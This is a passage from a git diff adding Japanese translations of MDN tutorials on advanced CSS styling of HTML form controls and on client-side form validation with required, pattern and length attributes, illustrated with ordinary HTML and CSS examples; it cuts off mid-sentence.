+<p>コントロールに統一した影と角丸も与えて、意味のあるようにします:</p> + +<pre class="brush: css notranslate">input[type="text"], input[type="datetime-local"], input[type="color"], select { + box-shadow: inset 1px 1px 3px #ccc; + border-radius: 5px; +}</pre> + +<p>範囲や、プログレスバーや、メーターはコントロールエリアの周りに美しくないボックスができるだけなので、意味はありません。</p> + +<p>これらのコントロールタイプそれぞれの仕様と、ハイライトの難しさをこれからお話ししましょう。</p> + +<h3 id="Selects_and_datalists" name="Selects_and_datalists">Select とデータリスト</h3> + +<p>モダンブラウザーでは、select とデータリストは一般的に、デフォルトからルック＆フィールを大きく変えたくないようにスタイル設定する場合、悪くないものです。</p> + +<p>これまで boxe を、とても統一されて一貫した見た目にしてきました。とにかくデータリストコントロールは <code><input type="text"></code> なので、問題にならないことがわかっています。</p> + +<p>2 つのものが多少問題をはらんでいます。まず最初に、select がドロップダウンであることを示す "矢印" アイコンは、ブラウザーによって異なります。また select ボックスのサイズを増やしたり、変更したりすると、醜くなりがちです。これを修正するため、例では最初に旧友の <code>appearance: none</code> を使ってアイコンを除去しています:</p> + +<pre class="brush: css notranslate">select { + -webkit-appearance: none; + appearance: none; +}</pre> + +<p>次に生成されたコンテンツを使って独自のアイコンを作成します。コントロールの周りに特別なラッパーを置いていて、その理由は<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/CSS/::before">::before</a></code>/<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/CSS/::after">::after</a></code> が <code><select></code> 要素では動作しなしためです (これは生成されたコンテンツが要素がフォーマットするボックスに対し相対的に配置されますが、フォーム入力は置換された要素 — 表示がブラウザーによって生成されて順番に配置されるもの — として動作するので、1 つもないためです):</p> + +<pre class="brush: html notranslate"><div class="select-wrapper"><select id="select" name="select"> + <option>Banana</option> + <option>Cherry</option> + <option>Lemon</option> +</select></div></pre> + +<p>次に生成されたコンテンツを使って小さな下向き矢印を作り、正しい場所にポジショニングします:</p> + +<pre class="brush: css notranslate">.select-wrapper { + position: relative; +} + +.select-wrapper::after { + content: "▼"; + font-size: 1rem; + top: 6px; + right: 10px; + position: absolute; +}</pre> + +<p>2 つ目のもう少し有名な問題は、<code><select></code> ボックスをクリックして開いたときに出てくる、オプションを含んだボックスを制御できないことです。オプションが親でセットされたフォントを継承していないのに気づくでしょう。また余白スペースや色のようなものも一貫してセットできません。例えば、Firefox では<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/option"><option></a></code> 要素に <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/CSS/color">color</a></code> と <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/CSS/background-color">background-color</a></code> を適用できますが、Chrome ではそうなりません。どちらも余白スペース (例 <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/CSS/padding">padding</a></code>)を適用できません。同じことはデータリスト用に出てくるオートコンプリートのリストにも当てはまります。</p> + +<p>本当にオプションをスタイル設定する必要がある場合、カスタムコントロールを生成するライブラリを使用するか、独自のカスタムコントロールを作成するかのどちらかが必要で、あるいは <code>multiple</code>属性を使う select の場合、これはページ上に出てくるすべてのオプションを作成し、この特殊な問題を避けることができます:</p> + +<pre class="brush: html notranslate"><select id="select" name="select" multiple> + ... +</select></pre> + +<p>もちろんこれでも進めているデザインにはフィットしないこともありますが、注目に値します!</p> + +<h3 id="Date_input_types" name="Date_input_types">日付入力タイプ</h3> + +<p>日付/時間の入力タイプ (<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/datetime-local">datetime-local</a></code>, <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/time">time</a></code>, <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/week">week</a></code>, <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/month">month</a></code>) にはすべて同じ重大な関連した問題があります。実際のボックスはテキスト入力と同じくスタイル設定が容易であり、デモ内で得たものの見た目は良いです。</p> + +<p>しかし、コントロールの内部パーツ (例 日付をピックアップするのに使うポップアップカレンダー、値を増減するスピナー) はまったくスタイル設定できず、<code>appearence: none;</code>を使ってスタイルを除去できません。スタイル設定に完全なコントロールが必要な場合、カスタムコントロールを生成するライブラリを使うか、自分で作らねばなりません。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: ここでも<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/number"><input type="number"></a></code> は触れる価値があります — これにも値を増減するスピナーがあるので、同じ問題に悩まさされます。しかし、<code>number</code> タイプを使った場合にデータは簡単に集められて、単に <code>text</code> 入力を (あるいはモバイルブラウザーで数字キーパッドを表示するのに <code>tel</code> を) 代わりに使うのも簡単です</p> +</div> + +<h3 id="Range_input_types" name="Range_input_types">Range 入力タイプ</h3> + +<p><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/range"><input type="range"></a></code> はスタイル設定が煩わしいです。下記のようなものを使ってデフォルトのスライダートラックを完全に削除してカスタムスタイル (ここでは、薄い赤のトラック)に置き換えます:</p> + +<pre class="brush: css notranslate">input[type="range"] { + appearance: none; + -webkit-appearance: none; + background: red; + height: 2px; + padding: 0; + outline: 1px solid transparent; +}</pre> + +<p>しかし、range コントロールのドラッグハンドルをカスタマイズするのはとても難しいです — range のスタイル設定を完全完全にコントロールするには、その中に複数の非標準な、ブラウザー固有の疑似要素も含んだ、複雑な CSS コードが必要です。<a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">Styling Cross-Browser Compatible Range Inputs with CSS</a> で必要なものを細かく書くための CSS トリックを確認します。</p> + +<h3 id="Color_input_types" name="Color_input_types">Color 入力タイプ</h3> + +<p>color 入力タイプはそこまでひどくないです。サポートされたブラウザーでは、単に小さな枠のある単色のブロックを提供します。</p> + +<p>枠を削除して、色のブロックだけにするには、次のようにします:</p> + +<pre class="brush: css notranslate">input[type="color"] { + border: 0; + padding: 0; +}</pre> + +<p>しかし、カスタムソリューションは大きく異るようにする唯一の方法です。</p> + +<h3 id="File_input_types" name="File_input_types">ファイル入力タイプ</h3> + +<p>ファイル入力タイプは通常は OK です — 例で見てきたように、ページの残りの部分に問題なくフィットする何かを作るのはとても簡単です — コントロールの一部分でもある出力行は、入力にそう指示している場合は親のフォントを継承して、カスタムリストに名前やサイズをお好みでスタイル設定できます; 結局は作っています。</p> + +<p>ファイルピッカーの唯一の問題は、ファイルピッカーを開くボタンは完全にスタイル設定できないことです— サイズや色設定は不可能で、別のフォントすら指定できません。</p> + +<p>この回避法は、フォームコントロールに関連するラベルがある場合、ラベルをクリックするとコントロールがアクティブになるという事実を利用します。つまり実際のフォーム入力を次のように隠します:</p> + +<pre class="brush: css notranslate">input[type="file"] { + height: 0; + padding: 0; + opacity: 0; +}</pre> + +<p>次にボタンのように動作するラベルをスタイル設定し、そのラベルが押された時にファイルピッカーが期待通り開くようにします:</p> + +<pre class="brush: css notranslate">label[for="file"] { + box-shadow: 1px 1px 3px #ccc; + background: linear-gradient(to bottom, #eee, #ccc); + border: 1px solid rgb(169, 169, 169); + border-radius: 5px; + text-align: center; + line-height: 1.5; +} + +label[for="file"]:hover { + background: linear-gradient(to bottom, #fff, #ddd); +} + +label[for="file"]:active { + box-shadow: inset 1px 1px 3px #ccc; +}</pre> + +<p>上記の CSS スタイル設定の結果は、下記のライブ実行の例で見ることができます (<a href="https://mdn.github.io/learning-area/html/forms/styling-examples/styled-file-picker.html">styled-file-picker.html</a> のライブと、<a href="https://wiki.developer.mozilla.org/enhttps://github.com/mdn/learning-area/blob/master/html/forms/styling-examples/styled-file-picker.html-US/docs/">ソースコード</a>も見てください)。</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/styling-examples/styled-file-picker.html", '100%', 200)}}</p> + +<h3 id="Meters_and_progress_bars" name="Meters_and_progress_bars">メーターとプログレスバー</h3> + +<p><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/meter"><meter></a></code> と <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/progress"><progress></a></code> は多くの中で最悪かもしれません。前の例で見たように、希望する幅にだいたい正確に設定できました。しかしそれを超えると、どんな方法でもスタイル設定が本当に難しいです。高さの設定をお互いに、ブラウザー間で一貫して処理できず、背景は色付けできるものの、前面のバーはできず、<code>appearance: none</code> を設定すると良くならず、より悪くなります。</p> + +<p>スタイル設定を制御したい場合は、この機能のカスタムソリューションを作ったり、<a href="http://kimmobrunfeldt.github.io/progressbar.js/#examples">progressbar.js</a> のようなサードパーティのソリューションを使うのは簡単です。</p> + +<h2 id="The_road_to_nicer_forms_useful_libraries_and_polyfills" name="The_road_to_nicer_forms_useful_libraries_and_polyfills">よりよいフォームへの道: 役に立つライブラリとポリフィル</h2> + +<p>すでにいくつか見てきたように、"劣悪な"コントロールを完全にコントロールしたい場合は、JavaScript に頼るしかありません。<a href="/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">カスタムフォームウィジェットをビルドする方法</a>の記事では、独自のフォームウィジェットを作成する方法を見ていきますが、そこには役に立つ便利なライブラリがいくつかあります。</p> + +<ul> + <li><a href="http://sprawsm.com/uni-form/" rel="external">Uni-form</a> はフォームマークアップを標準化し、CSS でスタイリングするフレームワークです。jQuery で使用すると、いくつかの追加機能も提供されますが、これはオプションです</li> + <li><a href="http://formalize.me/" rel="external">Formalize</a> は、フォームの正規化とカスタマイズを支援する共通の JavaScript フレームワーク (jQuery、Dojo、YUI など) の拡張です</li> + <li><a href="http://www.emblematiq.com/lab/niceforms/" rel="external">Niceforms</a> はスタンドアロンの JavaScript メソッドで、ウェブフォームを完全にカスタマイズできます。あなたは、組み込みのテーマのいくつかを使用することも、独自のテーマを作成することもできます</li> +</ul> + +<p>次のライブラリはフォームだけではありませんが、HTML フォームを処理するための非常に興味深い機能を備えています：</p> + +<ul> + <li><a href="http://jqueryui.com/" rel="external">jQuery UI</a> には日付ピッカーなどのカスタマイズ可能なウィジェットが用意されています (アクセシビリティに特に注意してください)</li> + <li><a href="http://twitter.github.com/bootstrap/base-css.html#forms" rel="external">Twitter Bootstrap</a> はフォームを正規化するのに役立ちます</li> + <li><a href="https://afarkas.github.io/webshim/demos/" rel="external">WebShim</a> は、ブラウザーの HTML5 サポートに対処するのに役立つ巨大なツールです。ウェブフォームの部分は本当に役に立ちます</li> +</ul> + +<p>CSS と JavaScript には副作用があることに注意してください。したがって、それらのライブラリのいずれかを使用することを選択した場合は、スクリプトが失敗した場合に備えて、堅牢なフォールバック HTML を用意する必要があります。スクリプトが失敗する理由はたくさんあります。特にモバイル環境では、これらのケースを可能な限り最善に処理するようにウェブサイトやアプリケーションを設計する必要があります。</p> + +<h2 id="スキルをテストしましょう!">スキルをテストしましょう!</h2> + +<p>この記事の最後に到達しましたが、重要な情報を覚えていますか？次に進む前に、この情報を保持しているか検証するテストがあります — <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Test_your_skills:_Advanced_styling">Test your skills: Advanced styling</a> を見てください。心に留めておくこととして、この評価シリーズでの質問は、<a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/UI_pseudo-classes">次の記事</a>の知識も前提していてるので、試す前にその記事に取り組むとよいかもしれません。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>HTML フォームで CSS を使用するのはまだ困難ですが、しばしばそれらを回避する方法があります。クリーンでユニバーサルな解決方法はありませんが、最新のブラウザーでは新しい可能性があります。今のところ、最良の解決策は、HTML フォームウィジェットに適用されたときに異なるブラウザーが CSS をサポートする方法の詳細を学ぶことです。</p> + +<p>このガイドの次の記事では、モダンブラウザーでさまざまな状態のフォームをスタイル設定できるさまざまな <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/UI_pseudo-classes">UI 疑似クラス</a>を見ていきます。</p> + +<p>{{PreviousMenuNext("Learn/Forms/Styling_web_forms", "Learn/Forms/UI_pseudo-classes", "Learn/Forms")}} </p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">初めての HTML フォーム</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">HTML フォームの構築方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームウィジェット</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Data_form_validation">フォームデータの検証</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">カスタムフォームウィジェットの作成方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">JavaScript によるフォームの送信</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">古いブラウザーでの HTML フォーム</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">HTML フォームへのスタイル設定</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">HTML フォームへの高度なスタイル設定</a></li> + <li><a href="/ja/docs/Property_compatibility_table_for_form_widgets">フォームウィジェット向けプロパティ実装状況一覧</a></li> +</ul> + +<h3 id="Advanced_Topics" name="Advanced_Topics">Advanced Topics</h3> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/How_to_build_custom_form_controls">How to build custom form controls</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></li> +</ul> diff --git a/files/ja/learn/forms/form_validation/index.html b/files/ja/learn/forms/form_validation/index.html new file mode 100644 index 0000000000..ea6887ba21 --- /dev/null +++ b/files/ja/learn/forms/form_validation/index.html @@ -0,0 +1,840 @@ +--- +title: クライアント側のフォームデータ検証 +slug: Learn/Forms/Form_validation +tags: + - HTML + - Intermediate + - JavaScript + - Web + - ウェブ + - ガイド + - フォーム + - フォーム検証 + - 中級者向け + - 例 +translation_of: Learn/Forms/Form_validation +--- +<div> +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Forms/UI_pseudo-classes", "Learn/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms")}}</div> +</div> + +<p>データをサーバーへ送信する前に、必須のフォームコントロールが記入され、すべてのフォームコントロールが正しい書式で記入されていることを保証することが重要です。この<strong>クライアント側フォーム</strong><ruby><strong>検証</strong><rp>（</rp><rt>validation</rt><rp>）</rp></ruby>は、送信されるデータが様々なフォームコントロールで指定されている要件を満たしていることを保証します。この記事では、クライアント側フォーム検証の基本概念と例を紹介します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>コンピューターリテラシー、適度な <a href="/ja/docs/Learn/HTML">HTML</a>、<a href="/ja/docs/Learn/CSS">CSS</a>、<a href="/ja/docs/Learn/JavaScript">JavaScript</a> の理解。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>フォーム検証とは何か、なぜ重要なのか、どのように実装するのかを理解すること。</td> + </tr> + </tbody> +</table> + +<p>クライアント側検証は最初のチェックであり、ユーザーの使い勝手を良くするために重要な機能ですクライアント側で不当なデータを捕捉することで、ユーザーはすぐに修正できます。無効なデータがサーバーに送られるて拒否されると、サーバーへ往復してユーザーにデータ修正するよう連絡することによってかなり時間を浪費します。</p> + +<p>しかし、クライアント側の検証はセキュリティ対策<em>とは考えられません</em>!アプリは常に<em>サーバー側でも</em>クライアント側と<strong>同様に</strong>送信されたデータのセキュリティをチェックします。なぜならクライアント側の検証は容易に回避することができて、悪意のユーザーは簡単に、サーバーへ不正なデータを送信できます。何が起こり得るかは <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Server-side/First_steps/Website_security">ウェブサイトセキュリティ</a>を見てください。サーバー側検証はこのガイドの範囲を超えますが、覚えておいてください。</p> + +<h2 id="What_is_form_validation" name="What_is_form_validation">フォーム検証とは何か</h2> + +<p>有名なサイトの登録フォームに行き、データを求められている書式で入力しなかいと、フィードバックがあることに気づくでしょう。次のようなメッセージが表示されます。</p> + +<ul> + <li>「このフィールドは必須です」 (このフィールドが空欄にできない場合)</li> + <li>「電話番号は XXX-XXXX の形式で入力してください」 (あるデータフォーマットが必須の場合)</li> + <li>「有効なメールアドレスを入力してください」 (入力データが適切なフォーマットではない場合)</li> + <li>「パスワードは 8文字から 30文字の間で、1文字以上の大文字、記号、数字を含む必要があります。」 (特に詳しいデータフォーマットが必要な場合)</li> +</ul> + +<p>これは<strong>フォーム検証</strong>と呼ばれます。データを入力したとき、ブラウザー、またはウェブアプリケーションは、そのデータが正しい書式であり、アプリケーションに設定された制約に合っているかをチェックします。ブラウザーで行われる検証は<strong>クライアント側</strong>検証と、サーバー側で行われるものは<strong>サーバー側</strong>検証と呼ばれます。この章では、クライアント側検証に集中します。</p> + +<p>情報が正しい書式であれば、アプリケーションはデータのサーバーへの送信を許可し、(ふつうは) データベースに保存されます。正しい書式でなければ、何を修正する必要があるかを説明するメッセージを表示し、ユーザーに再入力させます。</p> + +<p>私たちはできるだけ簡単にフォームを埋めてもらいたいわけですが、なぜフォームを検証する必要があるのでしょうか？理由は主に三つあります。</p> + +<ul> + <li><strong>正しいデータを正しい書式で入力してほしい。</strong>ユーザーのデータが誤った形式で格納されたり、ユーザーが正しい情報を入力しなかったり、省略したりすると、アプリケーションが正しく動作しないからです。</li> + <li><strong>ユーザーのデータを保護したい。</strong>ユーザーに安全なパスワードを入力させることで、アカウント情報を保護しやすくなります。</li> + <li><strong>自分たちを守りたい。</strong>悪意のあるユーザーが保護のないフォームを悪用して、そのフォームを一部に持つアプリケーションに危害を加える方法がたくさんあります。(<a href="/ja/docs/Learn/Server-side/First_steps/Website_security">ウェブサイトセキュリティ</a>を参照してください)。<br> + {{warning("クライアントからサーバーに渡されたデータを信用しないでください。フォームが正しく検証を行い、クライアント側で悪意のある入力を防いでいるとしても、悪意のあるユーザーはネットワークリクエストを改ざんすることができます。")}}</li> +</ul> + +<h2 id="Different_types_of_form_validation" name="Different_types_of_form_validation">様々な種類のフォーム検証</h2> + +<p>ウェブで見かけるフォーム検証には二つの種類があります。</p> + +<ul> + <li><strong>クライアント側検証</strong>は、データがサーバーへ送信される前にブラウザー内で行われる検証です。これはすぐに反応を返せるので、サーバー側検証よりもユーザーに親切です。これはさらに分類できます。</li> + <li><strong>JavaScript</strong> 検証は JavaScript を使ってコーディングされるものです。これは完全にカスタマイズ可能ですが、すべて作成する(かライブラリを使う)必要があります。</li> +</ul> + +<h2 id="Using_built-in_form_validation" name="Using_built-in_form_validation">内蔵フォーム検証の利用</h2> + +<p><a href="/ja/docs/HTML/HTML5">HTML5</a> のフォーム制御の機能の一つに JavaScript に頼らない多くのユーザーデータの検証があります。これはフォーム要素の validation属性を使って行います。これまで多くを見てきましたが、まとめ直すと:</p> + +<ul> + <li><code><a href="/ja/docs/Web/HTML/Attributes/required">required</a></code>: 属性は値が入力されているべきかどうかを指定します。</li> + <li><code><a href="/ja/docs/Web/HTML/Attributes/minlength">minlength</a></code> 属性と <code><a href="/ja/docs/Web/HTML/Attributes/maxlength">maxlength</a></code>属性: データ長の最小値と最大値を指定します。</li> + <li><code><a href="/ja/docs/Web/HTML/Attributes/min">min</a></code> 属性と <code><a href="/ja/docs/Web/HTML/Attributes/max">max</a></code>属性: 値の最小値と最大値を指定します。</li> + <li><code>type</code> 属性: その入力データが数値や、E メールアドレスや、特定の指定型かを指定します。</li> + <li><code><a href="/ja/docs/Web/HTML/Attributes/pattern">pattern</a></code> 属性: データが指定された<a href="https://wiki.developer.mozilla.org/ja/docs/Web/JavaScript/Guide/Regular_Expressions">正規表現</a>にマッチするかどうかを指定します。</li> +</ul> + +<p>入力データをこの指定されたルールに基いて検証します。検証にパスすれば妥当で検証にパスしなければ妥当ではないと考えます。</p> + +<p>要素が妥当な場合は、次のようになります。</p> + +<ul> + <li>要素が CSS の {{cssxref(":valid")}} 疑似クラスに一致します。これにより、妥当な要素に特定のスタイルを適用することができます。</li> + <li>ユーザーがデータを送信しようとすると、ブラウザーは止めるものが他になければ（JavaScript など）、フォームを送信します。</li> +</ul> + +<p>要素が不正なときは、次のようになります。</p> + +<ul> + <li>要素が CSS の {{cssxref(":invalid")}} 疑似クラスに一致します。これにより、不正な要素に特定のスタイルを適用することができます。</li> + <li>ユーザーがデータを送信しようとすると、ブラウザーはフォームをブロックしてエラーメッセージを表示します。</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>注:</strong> サーバーへの送信を中断するエラーがいくつかあります。次のものが含まれます: {{domxref('validityState.badInput', 'badInput')}}、{{domxref('validityState.patternMismatch','patternMismatch')}}、{{domxref('validityState.rangeOverflow','rangeOverflow')}} または{{domxref('validityState.rangeUnderflow','underFlow')}}、{{domxref('validityState.stepMismatch','stepMismatch')}}、フォームの制御の {{domxref('validityState.tooLong','tooLong')}} または{{domxref('validityState.tooShort','tooShort')}}、{{domxref('validityState.typeMismatch','typeMismatch')}}、と 必要とされた値の{{domxref('validityState.valueMissing','valueMissing')}}、また {{domxref('validityState.customError','customError')}}も含まれる。</p> +</div> + +<h2 id="Validation_constraints_on_input_elements_—_starting_simple" name="Validation_constraints_on_input_elements_—_starting_simple">入力要素の制約の検証</h2> + +<p>この節では、これまで述べてきたいくつかの属性をテストします。</p> + +<h3 id="簡単な最初のファイル">簡単な最初のファイル</h3> + +<p>簡単な例から始めましょう。― 好きな果物を banana(バナナ)か cherry(サクランボ)から選べる入力欄があるとします。単純なテキストの {{HTMLElement("input")}} とそれに合わせたラベル、送信の {{htmlelement("button")}} から成ります。ソースコードは GitHub の <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a> で、ライブサンプルは次の通りです。</p> + +<pre class="brush: html notranslate"><form> + <label for="choose">banana と cherry のどちらが好き?</label> + <input id="choose" name="i_like"> + <button>Submit</button> +</form></pre> + +<pre class="brush: css notranslate">input:invalid { + border: 2px dashed red; +} + +input:valid { + border: 2px solid black; +}</pre> + +<p>{{EmbedLiveSample("Validation_constraints_on_input_elements", "100%", 80)}}</p> + +<p>始めるにあたって、ハードディスク内の新しいディレクトリーに <code>fruit-start.html</code> のコピーを作成してください。</p> + +<h3 id="The_required_attribute" name="The_required_attribute">required 属性</h3> + +<p><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/required">required</a></code> 属性は、使うのがもっとも簡単な HTML5 の検証機能です。入力欄を必須にしたい場合は、この属性を使用して要素をマークすることができます。この属性が設定されていて、要素が {{cssxref(':required')}} にマッチすると、UI疑似クラスとフォームは送信されず、入力が空の場合のエラーメッセージが表示されるでしょう。空のままでは、この入力は不正とみなされ、{{cssxref(':invalid')}} 疑似クラスにマッチします。</p> + +<p>以下のように、<code>required</code> 属性を入力欄に追加しましょう。</p> + +<pre class="brush: html notranslate"><form> + <label for="choose">banana と cherry のどちらが好き? (要入力)</label> + <input id="choose" name="i_like" required> + <button>Submit</button> +</form></pre> + +<p>このサンプルファイルの中に含まれている CSS も書いておきましょう。</p> + +<pre class="brush: css notranslate">input:invalid { + border: 2px dashed red; +} + +input:invalid:required { + background-image: linear-gradient(to right, pink, lightgreen); +} + +input:valid { + border: 2px solid black; +}</pre> + +<p>この CSS によって、入力が妥当でない場合には、入力を赤の破線で境界線を描きますが、入力が妥当な場合には、黒の直線で境界線を描きます。要求された値があり、値が妥当でないときは背景にグラディエーションを追加します。つぎの例の動作を確認しましょう。</p> + +<p>{{EmbedLiveSample("The_required_attribute", "100%", 80)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: この例は GitHub の <a href="https://mdn.github.io/learning-area/html/forms/form-validation/fruit-required.html">fruit-validation.html</a> で見ることができます (<a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-required.html">ソースコード</a>も見てください)。</p> +</div> + +<p>値のないままフォームを送信してみましょう。妥当ではない入力がどのようにフォーカスされるか注意しましょう。デフォルトのエラーメッセージ("Please fill out this field") が表示され、フォームの送信を阻止します。</p> + +<p><code>required</code> 属性をサポートしている要素にこの属性がある場合、その要素に値があるかないかによって、要素が {{cssxref(':required')}} 疑似クラスに一致するかどうかが決まります。もし {{HTMLElement("input")}} に値がなければ、<code>input</code> は{{cssxref(':invalid')}} 疑似クラスに一致します。</p> + +<div class="blockIndicator note"> +<p>注意: よりよいユーザーエクスペリエンスのために、フォームのフィールドが必要なときにはユーザーに通知しましょう。これはユーザーエクスペリエンスだけに良いというわけではなく、WCAG <a href="/ja/docs/Learn/Accessibility">アクセシビリティ</a> ガイドラインで求められています。また、あなたが本当に必要とする場合にのみ必須にしましょう。例えばあなたは誰かの性別や肩書などの情報は本当に必要でしょうか?</p> +</div> + +<h3 id="Validating_against_a_regular_expression" name="Validating_against_a_regular_expression">正規表現での検証</h3> + +<p>もう一つとてもよく使われる機能は <a href="/ja/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a> 属性で、値として<a href="/ja/docs/JavaScript/Guide/Regular_Expressions">正規表現</a>を取ります。正規表現 (regex) はテキスト文字列の中の文字の組み合わせに一致させるために使うことができ、フォームの検証には理想的です (JavaScript と同様に様々な利用ができます) 。</p> + +<p>正規表現はかなり複雑です。このモジュールでは正規表現のすべてを説明する意図はありません。いくつかの例を挙げますのでどのように動作するか基本的なアイディアを把握してください。</p> + +<ul> + <li><code>a</code> — <code>a</code> の 1文字に一致する (<code>b</code> や <code>aa</code> などではない)。</li> + <li><code>abc</code> — <code>a</code> と、その次の <code>b</code> と、その次の <code>c</code> の並びに一致する。</li> + <li><code>ab?c</code>— <code>a</code> と、その次にひとつだけ <code>b</code> があるかないかと、その次の <code>c</code> の並びに一致する ( <code>ac</code> または <code>abc</code>)</li> + <li><code>ab*c</code>— <code>a</code> と、その次に任意の数の <code>b</code> が続き、その次に <code>c</code> のある並びに一致する。( <code>ac</code> , <code>abc</code>, <code>abbbbbc</code>, 等)</li> + <li><code>a|b</code> — 一文字の <code>a</code> または <code>b</code> に一致する</li> + <li><code>abc|xyz</code> — <code>abc</code> の並びまたは <code>xyz</code> の並びに一致する。これは <code>abcxyz</code> や <code>a</code> や <code>y</code> などには一致しない。</li> +</ul> + +<p>正規表現には多くの組合せがあるので例はここまでとする。完全な一覧や多くの例は、<a href="https://wiki.developer.mozilla.org/ja/docs/Web/JavaScript/Guide/Regular_Expressions">正規表現</a>ドキュメントを参照してください。</p> + +<p>使用例を実装しましょう。HTML を更新して <a href="/ja/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a> 属性を追加しましょう:</p> + +<pre class="brush: html notranslate"><form> + <label for="choose">banana と cherry のどちらが好き?</label> + <input id="choose" name="i_like" required pattern="[Bb]anana|[Cc]herry"> + <button>Submit</button> +</form></pre> + +<pre class="brush: css notranslate">input:invalid { + border: 2px dashed red; +} + +input:valid { + border: 2px solid black; +}</pre> + +<p>これは下記の更新があります。次のものを使ってみてください:</p> + +<p>{{EmbedLiveSample("Validating_against_a_regular_expression", "100%", 80)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: GitHub の <a href="https://mdn.github.io/learning-area/html/forms/form-validation/fruit-pattern.html">fruit-pattern.html</a> でライブサンプルを見ることができます(<a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-pattern.html">ソースコード</a>も見てください)</p> +</div> + +<p>この例では、{{HTMLElement("input")}} 要素は "banana"、"Banana"、"cherry" または "Cherry" という 4 つの文字列値のうち 1 つを受け付けます。正規表現は大文字小文字を区別しますが、中括弧にはさまれた"Aa"のパターンを使って小文字と同様に先頭が大文字のバージョンをサポートします。</p> + +<p>この時点で、<a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a> 属性の中の値を以前に見たいくつかの例と同じ値に変更してみて、入力欄が有効になるように入力する値がどのように影響するかを確認してください。自分で考えた値も書いてみて、どのようになるか確認しましょう。果物に関する値を可能にすれば、例が分かりやすくなります。</p> + +<p>もし {{HTMLElement("input")}} の空ではない値が正規表現パターンに一致しなかった場合、この <code>input</code> は {{cssxref(':invalid')}} 疑似クラスに一致します。</p> + +<div class="blockIndicator note"> +<p><strong>メモ:</strong> {{HTMLElement("input")}} 要素の型によっては、検証のために <a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a> 属性が必要ないことがあります。例えば <code>email</code> 型を指定すると、入力された文字列を、妥当な形式のメールアドレスまたは、 <a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/multiple"><code>multiple</code></a> 属性がある場合はカンマで区切られたメールアドレスのリストであることを確認する正規表現で検証します。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>メモ</strong>: {{HTMLElement("textarea")}} 要素は <a href="/ja/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a> 属性に対応していません。</p> +</div> + +<h3 id="Constraining_the_length_of_your_entries" name="Constraining_the_length_of_your_entries">入力欄の長さの制約</h3> + +<p>あなたが、{{HTMLElement("input")}} または {{HTMLElement("textarea")}} によって作成してすべてのテキストフィールドで文字数を制限したいときには <a href="/ja/docs/Web/HTML/Attributes/minlength"><code>minlength</code></a> 属性と <code><a href="/ja/docs/Web/HTML/Attributes/maxlength">maxlength</a></code> 属性が使用できます。フィールドが値をもっており、その文字数が <a href="/ja/docs/Web/HTML/Attributes/minlength"><code>minlength</code></a> の値より少ないか、文字数が <code><a href="/ja/docs/Web/HTML/Attributes/maxlength">maxlength</a></code> 